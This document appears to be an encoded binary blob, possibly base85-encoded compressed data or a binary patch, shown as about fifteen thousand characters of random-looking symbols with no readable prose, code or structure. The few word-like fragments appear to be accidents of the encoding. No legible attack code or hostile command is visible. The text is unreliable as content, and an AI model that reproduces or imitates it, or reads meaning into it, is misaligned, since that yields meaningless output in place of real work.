zk~!V|FVhE@I+ZX%muam!<18}8(_fWtCBi5J%1I|tA{w=ZRU?Jc7G@1Ak&I0C`1L+* zx0gwC)nQQ&#{jW8^d7|Fm!(}S%d@4hE?F-F>q!#xfWa8zt6(PdO-sEZ5h;$qP~Cp> zcM1xyd3}1Un2_jzLc+zKjMs04mwUZM_extly3lezkmU+c%A-&k6q?`}o@X{@= z^3(yQkTpq`h12_qVW|wk^xtMFI^=v4+hA}U*2BGCv$CEL~ zliP~h#ghN>e!l3;MBFa(H(%NA+g33bi05Fa*N+~F;oZ!jEa%lYWL_Wxu1n7U70IT% zv;z@Ooo1c|Lqu7u;NrI_CxhXAEE;O=qJA@44SP(pc43#+oJx-=?0d*&;m;W4HB(xI zZk*(PC9A{K!PAS(U#YEv=TRG}R!4fCH~&M_S=-GUFOfQ0u1q#UsHv(r+2)b|7XDmS zMEiQ){3RNc)(SJprGjQwTFPiV2ICET z>jAH`G%ZwU{w_~C2`4-6t71{Im-cw7DGG#4;u84_Z$uE1Va@{IVv{pkoWWvTYa$D4 zt*1X&zLdHu^;hkTd~r0KXP%LY5ntG}b=l0a`~k?M>MQ&lTZv|VHQ3?<^!%h{dR3w< zN`&f@x6n-&s^FPvZBWAmW~weDB50RPjs50VtS{mxnty|gR?*D=T(2k!M<`9TgWhXD zwH;OqLs(0PSIa-t(5sm7yov1&sBx|z0oGX1JtuT}FXgJNginHf=Cz4MhnVFYDqX@yX_^tWh0n zIpI+=VX*(!v&zdpcSJJC8@Wq5T4cgy%n#e42zt*mB|Q6>?w1F5RQN-mMVwNe-g6u=ajqj7^uT2%bYF)WFV z3RPb-x)b@Hxk57$82yAW#^fwd@urL|P|Z8x);*3pGTP$7S z=StOtmQ{P4^_x13&G}lo>7KEQql@zP3Xu>+&p&};$dE^O(M_GUw7FqL78iTGYOX^P zo*dmG>r16#MEHaZO$C>Ta(LW|!5OjNiwC`-lo^6Qc7&$UiEr*3EH~3wynRUNp)eEu zp zj65XMmUueaSa>O!peRuHilro^I(sqq0U&V_@h#uxMuRtze}ejy&y+z7OfA3nf?77UVX_uc1K!8@d(^9zt&M%`^x) z|1BCgB6m=ODLS0vcoG$07P+WOhMkeiveMVXY~cq?o7>WBlx9S_AEI2MiL$L1QT&=J z{+&k@RWkNM7f8f?=6t@)LXII#vykTL*~cNxV++55G=1BLy2N5#E#)x}RV3+i=aCeB zD)CWm1flT;A8TBzjf`$vVmYGJxWi$T{vtoQOD^ z+3^eJwWL(zDccktPfu^T{%sCCe3cy@=6P0HxW{&xt>k z$p3sM%}VY>7`rQnW!4*A&k)ULu;tBINGs&%(eQ(b1Xr%vjG0+ozr~j}D+)DycdFX? z?$X)WrMF&z#nK(}1?P&vk0GqL!^`_7_Bx*$f4r~T+edKwMPIiy2+HFvj5gV51C+nb zw1=6-X^inS5SbdW>Ph5ZJ4<>E%s+pu^%=(XCMETCaycBQ7!977=_14;)-p`)&*FNh z@G$f9HOU5UZdI=`+vpm`cy2BL?;6A#U+9UvO_M#;FA#g1X6xN#n{>eIDs^));iYI| zwzEB8KBA(ZLUi+XUTHR6FX3+ZJ}+iP`t!nv@nI~lIL=t!*It+FDK|llZDzxx2z9kw z6Uk%rVNtsCmuf|mYdyhQ{EwW z^HPi}-0sH0HfkH2!i-;H_59Bm8`pxo&C*@mvJgs5^VM0=%k?0hG+5@3KCVh2Q&;3> zJFqVx`wRcLMm}r{gYePtN3v{~-jj4+nOo0-*&|D(662GVhixwGpV0sRjOMM(^*PM% zMkvD8zzyRQ(JT6!FYjSpV!UZ&UM&1Yx^P+diVK3#i^mSY#`lDYZ-&z2BTW(f2U_gt zHeuI3x-2(7*vQN!LZsE*l9?efQJjyhhfCYcJ)~$YYxwApa0^sesT!1w+ECO-t#23e zQr0l4OcER=1+GY}b{RJA(ii~6%zg)witufI@kgIdlAjs$8NGJj zDn*CB!ryYe8_wxh>VHP&>7PNP@ta^ES^lc)E6ZupEi+(uCXJgzFo<$@qjzpzb}lv6 z7M+>4BHh^IHNwk$oKoXU`g@Jq+=IWM5G+KVME3 z#rBVX5Gk_RiTL7xiWDP~7xnHU>qDfMT1VXZq(uHT%-W^&vQaNz=7vTz3z-wK(vcU= zvKW8o;tkP@D3U?ZB7j*-pY~U=zv*bafyih*@JYTVlNo`pR$MQ~wd|1NNA7PsQw%1Bsy*KF~Z2qX>dA{IM*U4OWxBE z;(3i1p$|JQkRNVVgIke!U^-w~J5faep3n zVRYqL{_&g#nk!|d4;b_T0~Oe4wKF*wUEd}|PEk01Pp|ZUZ$?Nb{y=ihu7`tK_OJso z6tHo~!FrAZn3vv8evO5#kW3tAlBPST>^-hi-9+p?mLm2b%o-fPN<_XjL@ zms$3uI$$(k8>s1XppfaU(-J>oo@V>@?gW<~7%Mx8Diwl-8(7fF?!Ktm7ZvGiDsa?O zn!G45e*{~{{s|S`BL8&CW*W&MW?W{ff>f~Umvm}H0*U?t%jOmrsdX*qPm)G`^{kTD zyCN8D4K0UDo^X&%ki*~XHzLVm&y~BfX8R4pD)?3mrE#y~AhX{CQfV6{i~i3r6W`bNz~ll%e_^-N0Og?nPkSXB|`)-{*_&_XK()83eT$3_FMxF{$lRG zu-pnH80c~fm1NADt#|o$^LG+F`rk#oKg+s__ghNQv)IMA_$OS}E!W^VM5KCxd{drz zu8KO)JWF8Yc4&)~^9pE-g)|9~X*!h;GTO)%mr^i$TnQ-tb>p$?-Crs_6{2DRCG+9= zb% zGn~lQong~zY31`WUEqRj|&+qo81$wtmI}TaBnr9NX>J*#K+CN!S z7T&vs-ukf+l@^+-Tc`xVJfbvF6iKWms@-%O-KyKDsVv?_M1Mu*CrVyz{^40^K8K9F zd7s1Sn?;*QlD==X)FXN}7pP5pbJ~j{AC6j@OAup^6<{R+EWMn?@C#O( zOnaripkUuU*Ds_GO_7@L_>CcQpDL;#TjCe^TPDcn_*i;2!toZ7nXQD3zy^cJhV<{>ay z#}%!p4yt3gx#l~JlaB!sE#yQRQhSCY4e;&0pOgJap&y(=jsTWD|;gyw(^m`<>!SJ zIC$hrher$LY=5xj!9ur!PZX9Y_)MW_(!sVIO`;;>HGW`6b;2XNd8Zq*lm_HrWf6gW*t}g$hqGjC!q>(o)m!T(;^@C zma2Aoi(8}f)8tgPu@kiom%nWHimCD~{;2&IQl6mkW)OK8YBvCVQS|iU-wdSBTtY_1ZjbT& z?)Q;FDo2MxXdi0Y7hT5bjyJ4o5FWry zxCuw|TU4=!8jDUG=fi>p?xjK6P$}8UjLS_Gd4+a|mon{L_&0kz!)JWNjZN~g(aVnV zMR%e`7GwqqA;(bC^I5GIy15%#&DsOIO?F~;cLsA>J-hc~db4gQ<(H3&UiOvYy^}&x z{&*&5KSg_n*=^w9XJTrsHBh#3$;p1j%T>e4Xe~E3a_K}HyV-%V?Mpet&#IL&dyRV( z6+Ol-ygLF1U#nTIcA+|5ft)suCoJLUYkMGL7w4IYxa2M3xiD+!Xq2f5LQYP1ekVw& zmQgAs9c(Vzjej^sxNSA5_USRwNSp1$c4LE=O)gp)3S@W62YAXh)T0X>^AvALh!U9H zgTPKH+j46GRQ4d@D~r`n^~s)({2q6xfY>&uEjm$s1 z1CR}XrdFm4(sW8VjVqJJO4(ejK;ADp!?ng2<{O2~dAZ?%)*I;@F>yq=zZ_wmALpzw zq0MolIT!COoUavhq&DT(z&H_X;Yi1G(r&~m$uMs3`Yh5qwxwT>eG-4up75AJ)0^Ql z{Kma*ipDnKRS!vfc){DU#BQGTQ<}a}(v=BhSwVN6zO=wiUjwVs^g7bMfAoPw} z8)m%WS?3}F7MGE?MtEXfnJ5|-f5t5i(PjJmyWdN^2ovODByK%=C1mHKBowA#&7PU9^fh4v&8;*T0H$+Oekze;kC_imqB`sTOCaipyzLO^0#cW*D z*{gK{;b_INs6RpHgl|o6YJ_i%-^EGBe#Z1@BN^@TjCzGoY;lZwW%v8OjMuq$WcPkg z4xO#3(O33*DASnH5dRAbi*$|L$h>HyO%4uh4S!ClJe+&-Ixg#$L=QxMr^w`aP8x)_ z<=F}#q;1&JB;*puEltw_cHX+GaZDv!pfKNnnkGB zEJFS1e+!{n{wjp(5>B)7NIJ7TN8=bAzNsl9PdiRiJRo1*yD3UTOOh{1^&QgIXji`I zl?g9RBby7YyvA&+t?c!d?W*rT$q3#ntz|1@h;^MB>r5ZtPAH$TttBYU`#2NDMhqaZus8SL$gK9=5!^wQ=3cc!4R5;oQMk>zw*q)Zz7`X_Eg3=XaUC5CTiD?#J0Nv8?Nj5IkY>xS2KDTUl zIGbZ0Y4xITnSQSNejJz1Z)^?EOSYAl=}(_BSV@2K{5#Z%b&Wu;XV`IR^PFU7b(l$3 zhtVA++<@H}i)hBd@w;LlWg2fJsq_p2i^zLW={BhJVqYqC{auY~+)HQPOE7cH&qSa( z5@MKX_a(TAR`oz8A*JhHU^*?b*Z-#P9o)y1B$_{RTp|%OGvIq(uh9vZC|rIIG+ZZ3 z8lUljx2%)CZOVLxo3VT-J=}fAk2!(kSo_2s{|UqnK9`^Al1A-F*j2^1sP1m2QzVx8 zPoE8ly~}-Yjq6tviCfPbZW5rviu5dl-TJ|In04m~fBc11xCcuPj=O$CDGbF?nL#>y zT&-)dl&&m-s6iz`_fX0Y2jm4E3WME%t&@zqRnuS^z*J=$Qx&w}Cbd|O3??q706t98 zyu!>hbY4UeslI-w(PZ(fM#ZBv@jQtwa@aJP^|`HGQL@sWT{1ezy1{YRpQNn6kOoc`e0G0f`^)$&3 zd9;vF>=Th^GDC*lw3a57ow1dC7##13N>NC^#d=Gn`@YL~4YMhKu~I`_pP3z5coG}n ziH@fCs57*2G&B3g<{%lEH=onf9Aekg9A@5|Y7S#jn$*p~%iVVqS%nn3*QCitsWd-d z@jLYDU@?J^V^74gKf?x-MsJXC6~YCg_J)ksVk{JYKvq!?V#+&;zRwvZ5@;X+)urU3 zKh>q$<%LV6_~9US324JTa0V{IQqUCs1z%>3sR=oRxZ;b8Tq<) z&}S8aH>u9cHpMgY(!;Z`8h#AJ!X?G6c7*>S+-h{>)`t4}L58ov+oC2z;Re?A>=j$N zz@FxlDmyd{UDxv>*LFMZ`Y$Qa^^NRat7d2%Y`L{Tn9@a>DU~;3;<<+-y?=I36TIX) zn&97moN9uP{D(BbuuP2`N5VxEJNitzkZioXFE8>%7CZXZFX}pzBs^tD*;{Y)8SnPy zLNgjI7Q_Xi?{Up0L3**E1DXZR^tSx<8(0w2^S&&o4i=;$^spe&oZAR}SUr0V?oG0w z9q0>irDrtIn+FX|@*wz8PKpP?bl^fThF*+F0`%cQDpTP>Wm_y3G_yAg3Mv+~a?eOVC3A7wrj{+gOs%%^)yPtAL0QS*COr)qx9kF1(caUQS5 zd443sQ=Dhl=_$?=63!#tmGzwJ>6-I|mh|R2q3h@np(>hA=!RaL=3ASMbc8ciM;Llc zN09G}pP+J#R5!4K{YQL}G*@0EmmA4N4V2z!BjT(E`dct+_fKg7hs{f8^OfxgzbP49 zpfboyW{~hT#79MbCzBJ_$7)g{IjEL9eyb%O%#<-Qdap2f+#5_!94fFmD=VWz*^Z_k z6F0HNv)N}mClI|pO>tRSprFCQ6w|{V5<^X+8h?A0&f8)+S*6pnmf1-bds1H(n^1F@ z_{B;$J~oMf0J*N{K5X$jCLIc7e8ov5N27@DJJl3|3=dS_ifI(>6)fj47^muA3OFzj=*1@!qbzA5`AfN>*;+m>x zbHjDYW{o+C|)i2mh zu+Gb{?SV4ItrQ_?Xzog)qVB?d+;Y!F*^xSK>|pEUWpj2Bjg-4exW2<&Go5cE0Aj== z^||K75`QGrivLaBC#qF9QtCFU9BBG+Zo4^{IuC#>@-_2pRE3PGgM(G=T;FBgNM(!{ zb4^!g6?1`Cbdp^2Y)p0~+PU-!3%A3>!Yzsrf0Oe$s8>$SDm#jag%Zqw+{A2A>}D)E z6-@~yVD}@{Lzji?3`AE-DG_r6m7Jr>bMD5#iwDKGzlq}8R;BoMA968e#^sT2xfYDI z=n#)u<*D;GlIP{*DKm$ATIB=TI__gX0{!BoY7%`?PCsrlE6~*QVgrqPwhy%SV+-g+ zsB393s!Z6n>$(rR5hP~juBY$V8e^e6^Mh4Mb{~HQKir1Oon|Un1{i{DbrG0cR(4cU zN|(2TI*es;ZH)PbOrO}Ga#$AHUbN6~4kvV3>oD64v-S79c`2JIsF$#)HK#L4mRal^ z`j(rE#gDB>*-sSxn>_P!RYKu1@k!|2oL!bT2F6o=x}}ZedRvn0qp@VzH#pX!ff?y^ z$4@YGQqj#$tl+2(Cpp8!%D7SFQ`VlS?B@px{AGE~d)Sf4G+S2kLB>?}M)Gd6T$Wlc zMYx14muky}v-^49wOp>YTuO1Nv|K!viyN0~ESGVXiyxPus>}z^E!Et8kM}0_>hFc?z6BQ3+oWn>I(dIvy(>yAv?y@{cUc^(|5bwiS0(yi=n&mn z%NE4xFF+8b|K;);@B4&<>?}7rnZ9uEDjnDOt27@=*~^!ul)bDO%Zug4#^dXH6|;N@ zR*5OP{^Ju}9}=CNPJag9b_EUPuu}4hg}$#}N5zs#UY9wSUgR%3)K|&tSk0t2PNTe{ z>m?t`B7S*~R+5fs4pW5qI;|wX8cBrzR85nW`HSk9J0Bx$(Ng#leXp9a!l**XWugsy zfme24*>mJF*SGP}C&tMiRij=iNR_wB{gDOg*r3m*j}$VAFv?w`d-UsxQgzVZfc^&b zk5;2?>AAtf$xd}Qi5ff0b~^6-3wcVjbzSSZMrnzwe3xm9kg-%@f1Z4oPOQrxrMF%3^3^&TK!^XAEygY)su}OOt zb9V1?VmP$VANeBPamP!z$>zRaQe{`xt>6=dr3yY%SOS!t{vv_V8x!S@KffEy*oSf- z!=npJ*~$HN*;&OV2S)N<2pq&1!ZJ*mB(j!{DK}`+sM^0|{@^Ip6#0l505KiS=aMrk ziqBcdJovc_B>s$l=f@Bf+2T=|{mR|C*RXPGYQ60&xzV0!XW7T05m;^w7QeU}BN`sZ z+T1~&X8WLKrfgSP6gA07iXine#ELxD%Accbp^-!`FWxTuliv^@JrNcE)nb*oj?aOt z&`3-@erx=H&`#JNE<3Ws707slMo?cMI_2uLaw5OcO7tE4mkz@}Q1<##^pjHl^OF8p zZY(|^t;zDWn%WfQd;5NW*=KcA6j5FlqXlQ72p25gp}tG&JAB>u!P*^7bA(?SN4l;R zSoT%@$ePuG;*b1gA1|?rYSHi2vs7oLs9)6$!#_~=p)QQ&zdq?tyLF+g@2AxlKTjKA zH+n^Ju`6v9w9CMX%Z@+r_HQvRy1~SZpXuTlKTsF8x9dudFO3-pY*?pcY#|<;t2% zt7$YskD&3I%%R6f=i$$;&|tHakt{ih&Shlv3ZG)4CJfS2I%3!E)pB^%OA?iB07wFZkhUCF5%jyN3-aGME2h*fr{GJKE8i8Iyi{fF_>dOPNdV~FEb+@AWL91+Rz zHgn0|-tb*2fq_$+rw>VZqgPjS)l+TcXWm1()I?oXq|y(YDf{1><-1`GC|8Ko2yK!> zE=2Y9OE-J%E>@Z7108a$=w6i`AK_Sw5yAH}9BbLY?(bL|9PD!ZF@_=1X5Kujkb#E( z5g$QEi>Z_1yljo^WA(8sbE}Cp_OZ8y2b-I3PqC}}8Ea4_zfp#w_heCmGH8b^%UovZ z3~2;xlt-3h!W(s|=i{UO(W{xcZ1b0Wv6MRm(m5G4#I8;Y_=_=|kmfIbm0-tH=a!|A z=;B5!BQi1{Hb<-_@2yOm?}@S05Oua5+bEX)9VQ8e_LTMGTjf(xaF?J^87aPz_t2Ys zB@UPYC_AIau8L}JJ>Q%yi;6bpN%0X<&;8A%@;=BPInudgthp8T#`G$*g1463Sn&Qn`;Qgs;RK%s|PGup@R zjbl$P^9)L(R$HROHo)DuZXF~DXO|rg4?o~uhOKmS0#VdL4^2gLjKpU*Bt}{;d6z@z zQ_&%TE&M5w|H&w!AAS>eh~F!G?&g;*N~5zKJFHGL1dQDF&E7$!SY8h0Qp0Ym$fCH= zs}W!iJWwF(tQLk-PgV;$$}JvjX?u$9@(iX?)A?uO^zCQy&XMG)l>ktm#rrMa*mInu z@HHw2q0DDJXYmG6Xd0hXlREO9Jc~Dj;tqL1NGN9NzV0yIo3|u$GN0g;%;V0~VZ15A z9n@*O&$kPWws4^1hgK-_p`M7h{6KQC4wd+2+C=L)&Uw6EYj_SHqDd~tkUuq>R2ea? zH^{sym8K*YzZ&&;(fuRMmsRDx%)FS&b0qT58%gE0n~#%oobD!JIENl;XC6pB9(_sI zhzQsyx-Wb|G}ZST77sN#p3ZEvs9ou$Zpmz9*v@KNPqLNr{;QmPF_if+(_ zS>heq=Xg@I+ZAszGH;{%v~3^X$|0D6a#7v@7`(dQ;8Pjrdh7^2MPw`={5Sm;{V}yh zNBcPCk0sL2@iL~`>|ZBSNVo$skfH1S14NC{^zEsrZiiJJi zDEl?&09vV_*v02&DSfG|_!MB~rUvR^BAKlh84Cm7d1tj-Vx--jh-<~JH0No0V#y33 zPilcwW@g?+Y^el(j4d;39Je$5iCnzaIN&T-0hZ@%RBsbltN$4ZGm z?);wuQ9Vc#Z2IUfu%OZIACX`K!&o-V7@|DnJ z_*=?-X5Jqyf811x2?=iHeJAho?B{tOx6uz+#U8uPDr(Yimkvi5XZ}Phk9R0O1$3T&3OH#|`Fn?3 z@n^S@Rwr(4Jll2peAuiVJa6D99~I-lzvrW)czx6hfr#bOW^?yIF z#_`42`|+jK{IlzmuM&xx)!|bqMc#p1Wf7h^j)I#*>2+~`FZ$#ivV8N!_seX2&+1w4 z`O7l5;!Wo%%UmNbJN!ABuka#GskLTxuQFQep@r9kdFr!{Zd`SFLi(6&W=m@xT&lrTqTj~>sL;dB1eKu6;bE#JIf zs1)`N|DC{n^`E6}+V|2{$*X+$<2I{xZ|aKY|5L($63_b(NF%Oc z+ilZlv$t)G)zi9hI3KEQ`fOHg(-G(J36jbY=h!sh#{HlCVR(Ul8T)5qL(Wd+`l%#& zWERNI_3az??_0l}1oBQ%uFkR3fgAU4{bNrX-hZcV!<*tW|Bl!COqU8fbHk>?sd`>b z#`#6ceRgJv!1&CLO-F9nhWqFeT`<3bvp(7M+03ovxpU+Gu0M>H#PYFHK3LTcvv-^f-{hfIx-k~#iamtId&kK1` ztd2Y;ORUq0#SJ(k+`V(sV^|{d&{i6X@v3#V$*}Lqx&WIGS!Ty~W%_YTmMt_;r1kDC zldUUDPL^9yL<@fc9PNV3KX* zP`~gTe6Q@4{>>`=d2*9oH181PWyCMyG-d{+J*MP$keqdR6DbO_E54#XDX|0OH~x+t zOqH9c+|Nud%a}A(%D0IGY<+8j<@-8!13maLmXAyyvRJv-jKU@t%1Qp#8qcU!E~gJ? zdDh!eDAG+_f*L}CW4CT8Y%tVQvt4K=Z@TTAvf@trPO%ebT7*r)8bX-KYU0e~xh|eeq#f^kHtR= zIGT@{gQzrCr-cBzD?l;J9@@FQ;Dcl`qDXSk@61dEtJf;>L{aI1&?x%)FFM=fu zTnL*xb{|~!6+cC}-8g(8h6zy2f-HBaHMvIQ&iCP-=XmQT2cPNbpbByvk8h7EB&hb+Ga_Ub6abl*@$#+tb4+ zwLKTqIJPZ!pz&Y)3&32 zE{csge$!&->O7~dKq8H5hfa3XYIDol!(+y8b)+Hh-0$+|bcn94OFqiQWZ)9w7xtUj z&*$)RXeDzTC}0dgt&^SCiA{DnbUY(U5!Vls@+va%NepV3=aca@^1*zn(sUGYTjx&Z z_8!hchRzc0^zZ_2i+hjbT9yQZDmr`y%Zx$p_ATz#(}=&tt?p`xkHzMbY=O%CRrs?$ z_9)>K?@SBCAk;_+O^NBr5H{73LWRqMe8@8MS5V$jwAoQ45|PNp`AK4Fnr+|SYyKYj z07h|2p>fOf*~}lb?F+E1U9TC`#Ejl|$2FEc}!4yPjjM-r91d9g6|ZmI`K1 z0&?NePC0_?b3Vr;y*1*ur{R>Yo&M8uN>>Ag6$*VH31!F0u0#FMa>~LfOFON$oSZaC zo(xvK{o%z2JH~t9s?KvfWS{gH5bMm)9$9@nvKel*hrN$SPDZPCPsg3qB`s7#v|}2M z=9_dhE?tJcz=kYAe9nkJ*M4AwGlird*x*VbX-0+`JCTWmE@A7} z#Z=~Wpj)Oih&#gcUy{hmh@YWeTt_WDJ&uiGJY2}B#6Jy%8iju;VCB1py=L>uASMBFc;!+$dCfJ_BApqb z66v}lDP)`_cn|i8vAUBEgK2YBCpxVk&iC-bk6oT|OJQXedgp!^L zxoC^YgjO$NI)U79qw9L%C+Oa!h4Q1GqvWu(z}#FTf>G(>@f>r#LWDaIyoe5F$>~hr zmr!g^;NlABed_F7xma`1Z-0GaJNFZL#co&J>$jBD{=eMZjJbjQP6Sqn6!jvY*o< zLo^@4pTgy|F};_Pb^Q(p;SEKmAzs*cRG*U=J&#&SjQ&Zk+8lv@1gks~MQtu4#&J{( zj=2Y8d2A-TVXXyRo5G2P(5Xg6Zm?`uUAE!R%Gk!ut#t$CtU{!<$XE7!-F{3jr`VkE zBj{n-AYcWDt?j#yNc(-!kgP)CaGdD+6}PCXi-$O0XPyO8^y4|YU4Ik*JhSAtvh zfs&pPTVMVimX8y%LSp9GU*(^Op5^$~l@ls_YzpK)l|x6anQ&!++`g&!VNto^q29M~ z`-2HfvsrROt2(JqpTTD9Yo5qk+)A_6bHHW~8auhX!f#?g?_QdR2RH)XqRv z+vUb!dc$NVpYG3?nsvaF;RvzS<;lRTOfaK8IG#+lUf1>0VV0s`iV%JHJvV+0E|l}v zS>@yR1{wAXg2f%>j!C<#gT^VNWnNQWw)@lilWROH_uIHD`F*Bqqa*T1M#6xc52l`&{czR@ErL%!dk~e!fN`YF;bi~c8FY4Y9goK` zD45kv4I$%8$_Ky@-~8n8(Zpoq?v+b1LLSK2n%LLM%bPqgo)>v?Fe&Baaq*P!wBuF@ ztmWzEy#eUwS<=WXWfmTcv$lF{okovG^(|P?^&-WZ?bA(PrmglSzA=opm4rZ}R8K&-33qp?}4 z{7g@Guq;#1GrPXEf7Y9?oT8gO6D%s2Z1@mLc`Y$fmm zIIa=LR&ngWr4^SBap@G7?(m-^$v~v@cI4IZ++?`|5z}cEiW^jV>9cTEoyuFvP7dLZ ziRlRC1)}yWl1r!A`FT9F#Wu+2wmFI^Z!zU9Xv~(St)wscrpjGRxr>i2cQNHI?o)1} zyCr%t~1VYIOQ7-#2mWw9S!UfiaM z9%6Qy7SE$fy^8iu$C(3E8dAS@u(0Fw?*Fy9NpqrB91O-S%Qm8T$~PP zZg%)FoG6JRZ<3%xd)4QlG%2c-OUT)+$cX_BXEwbzhfXYngpV**6fmoYC35=9&m!6( zBB{v!Zd7)~=(BsT{=9Yc6vr_4WI3Jb{p>Uv;{J@HSG#Ie6aupl7QLC(Ci$%(t*y%E+cku&!||U zeN+eWdcva$7ui_As{3zgWgE&_hjeOxcJxWah5p*~%s!DU$=LM@`tayCCc1+&`aO1Jg;uD_-HO2izDk%oCLW=KV{Mr0VN z8Z636zFK3(d}fxF<_O}hCe;!as-&o5jNiJlG?T@I(i^edtpZ4DS!Qj(io(>drw~fq zV3qCx4mtFAkPB1f0hZU?aecj-?xPViOIBYs|Co3_nLjI^X~+7^O!}PH$46a!W;I^4@4o?Uj`g{~+FR>y%e0J}GuSaGgvstR*zlqoLu}U~& zdHh!&57rB*uX!6$L{AhWS*b7dafZ}ZC4_QUmJX*fxP_%P-m^mu?UTP$Lm*C{s?(oC zS^w|v|3wN+`~&kleq%HYYM9LO=MP){Yc$-T;WiB$HADuiqI{vDQ>PQs_#O>+{K*Q} zs^Oy=uGQgpY1ply{Shm?OT&vatkCeg8a8NnkA@Fv_>_jbG~BP@ry6F<{FdKH4KLF0 zMhzEfxI)8K8s4MfLmEDz;WiE5(BIXm@dFy>K5FGxpkbkg=V|EG@G1>wYdBxS6&l{H z;V(6OM8mZjwrlvBhM#LVP?yW4;kg=4(eNq_Z`3fPVWWntHTlCq9&TX&LGj&=<@H0;!{TSME) zRye1IE)BSld;S(CJ z)9@J$TQ%IMVY`OgHSEyvB@Opz__~Ij8osTeso@72c5C>#hKDr#QbSvTML)ZSSsLbQ z=+tnqh6Ng)qM=K}LJf;FEY;AjVTFd38ZOhYS;Gf3Y}K$+L)#Fmd@c>$8qU|SS;I9N zc4&A=!-An!{2~p)S8yx>GDe5r;N8rEt!XU>gu(0Nv8r0dO@Q#G%;Y9X+8Zhh6=~fEIQL> zL#f1e1J4Sc(}}c#m$UFM<{8T~j%PH_B}AG?0;lu7g69UF$|W_Sxi>DXPV%YBB{v>} z3&qZ`Rfd+=Rxhqe2D4Qzgug9x)raPW7F4-z3eT;Zr~E2~Xp3&@3AaS*6RO}ImI}~5 zl~#3F7! zpGv*Acgo)?{@0}<=`5%Vg`vc}1@*NH=T=qUT)imdx_NGG@;j^NyS}9;l!kPA!u8O~ z)l;Ni{@+-n%Bsb+%fF6jl23SE$W>Pz3fC=C)l}*8+bXY`K0TmHfxlI+saDY!KYqf} z{*&$6s*vg=YO7p)^P&YVX+!l3q*YY*5XtH(y(?A9cdY+)*Y^ogdGp*wb8o7i_iaQy zHr#QE+L!MCLb)F5Q?8!+Nz(rqI`r?;VPCQjO;uvrC2hw+biU{V#ObdiJb$eTqpSebkbdh`y zUbT46+@*6DXf|qdO^1&hJ9#2}yB;61hFjx5Za|8@}k|R)Kyn2XN_N09lB=j!m#Bg9@_ot-tIC- z7WY7^Sxv5^fziRPW_(+)c#&_JM76Oa+|Nc}r!AwOtzWv+?(_LF<#&FGtwI76xk@W$ z_Rq3iSWW^!GTUJ&UUWAta65Cb;)xywZp^X7Z z@I~Q;3$0g$i>L;L*VJz~xNNH@e?K_}kAjm&>L**ty>Z!-?v1ZL2AAFF-u|dj_rYZY zySM)n>3#9P9)suVl878eegiC^>NnZ?s%>Z6<|!Ir>}zqIkA7THx45dhzTRegeNNwX zN>OEBymOIW&n&j!VC|oT1^;Qeuh6jMAqx*`sEcD;q2uj|=yVz__+`j~rC|%sdrNMmkclMQjWq(+muJ>CQ#}e%|jdQ!IsA(nhHWoX+=U~ zsS|dy+@WwS!0eU*Qq|0th8^sU2zY#U!6xqw#JH-J>l32Q=)~Fv(9#3N8Oy z4cBPct)Y9gj;~?2hVIiX_ar}_sqtD3*J;?7AO0(!o(Crm!6ifR>zjc|Zky!Q-xgo^ z{K8)GgiD_bU6Q|Vi@%T&qlz*tB%L3qvMj(w#*!Yce@-$n;Q#aV7Be2zleUyrzPNV| zC8->~E&W>1~hH2AjkB#k=0eUa^^KJk+!`u6zC$ywsp zP_ASNq!uiyeOr91MbuG>WL&BFWbWTi?`4V#RvVHOteksNIDY<;Uy@sorR*Wbta@l# zN8VP6=J7R4k5i`Orzdf%NJA(YV&*WG)Pycl&o@JvFnLsgS#7ItP4#@MG=jeKg=Bx} zTf%vyBQ16@b#^0vmmQ~^$p-cBq}Th4rOZOjzP+HQPNbzR(Y>Jeyhloy9P^TS3p_r( z#I+X6EGCZ3pvFQuq0#ZUfYp+d^^?pqjkKLSUk7Cz5q}wP1O_LU&#k>$twGgHDCI88 z)#_<;Z?2xcI5;`rC8!!VJhinIix)1aTF&fC58l(O>uz4Kh;{AaMdj6@`HSaC*ubVbD5?FLKf6f$7ez+CY^CyXme_)z7i7NjEi{>f3y11l7TEo@hMYi(A zi)_=G^IeNvVfy^AZA#q&+tqVJ;x}*Za#ThZTaYmI;y}1X)|<*!;?yY*P~xgM;zJtY zI*naUd8bt0Xe*yvXY*Hknhq|7 zyq3RGk<;O%Vc-ns~LqD-<8H*``5< zCE#A%rDm=4!zxut$I3@~rQ~CMJI*>^Sr=J9D}Nb-t)G>@s($5Qm7^!VRUYZhR)et0 zW${UCy=J9jl~cw{;mXPK3O7x*7kcJH!uGa8A4IkF<2@Th2*s5WNhNgzX=jC@uL$`(% z8Ya`P)Of9i4H~Z2@L>(tY1pCR+ZukL;UNv3#a4MrHLTFkeYWLZp<$(lwHkgGelQkp zQDIdFb7ql{OopFWzwg0U#@eQ;b(FYR{?p;J|Mw>paQ(}_B4j4kzkl`nR~J9CnQ!{n z$O`k=e|^KRWNn)KmuCC-{`F4b4qMN^bk?N*&c9@Q*Z=PuLBq;BB8^RV-qqZ)3bXz{ z{L$+F`0;<;9kr;+MaA;Mc$T?SsF2==Tr*;gLT+`lrYKyyo%0{Pz=o zUHjy^^-n$h%(H)ct~IuyZR4iRTiUm7dw%;1J6`PAxoh`Je}DOvJ+HpD_w|3g@n+|~ z{cpYf&b#lKUGK*~`0%5TyFdB#v(Nu|;NYRdUmW@JtD^~9T6%^(vtR$L0oggZc>^8J zK_{FzIRB)R3x*6GcFOQmN4QQKIjV5<>1Pz3c~utCHpZ@;; z)A|1|)88{`ve!4|GJoLmsloDTS5#bi)z#ByTyyQrS>Lhf|MmX=pP+wo9B-XujWZ(C zl3%;VWnCt}4vpI_)V4?CA}^Gmsd14T%CB4FvhI`LA&rZyQ2i!b`3=x$mc~U^CqJjg zMYblt0*#A|O@1zoi%d>_MH(Myp|%o@iyTsZr5cyDr~KR+7g?VC{2D*OLTwcqKT+c| zH9lD5l^W02_FN+t})7YWxh1 zcWXSkus)=5**{l5uT}rW8qL!97>zqMK33xe8kaqG`METHfrZ+NG=8DROEg}p@luUX z(70RUmuTFt@k=#cp>emyXKLJ|@k)(P*7$sldo^CG@hKW#rt!-(-k|Y-#+x;MxyDy( ze5%Ip(|B@T_khN)(Ebl=JUI_sqw#CB|2mB)=Y6dj=O~Z*wQD@NQtZ(9?b?5j#?v$d z=+t<+#=AA1p>dnfs$aXtlk?R~jXSk}KaIOI-e2P-8qdzo8m;YJ8Z+T^c_{<0Tp&u5q`Z&frSY*E zFV*-sjr%ozuEu9-{5*}%*ZBDwU#9U3G~TT73pIY9#>LpC{2tc$1dXrL_(d9T*La!6 z_h|eQjhh;m+h^o=NaJpeXZfw~_h`I84y;kE+jekeu 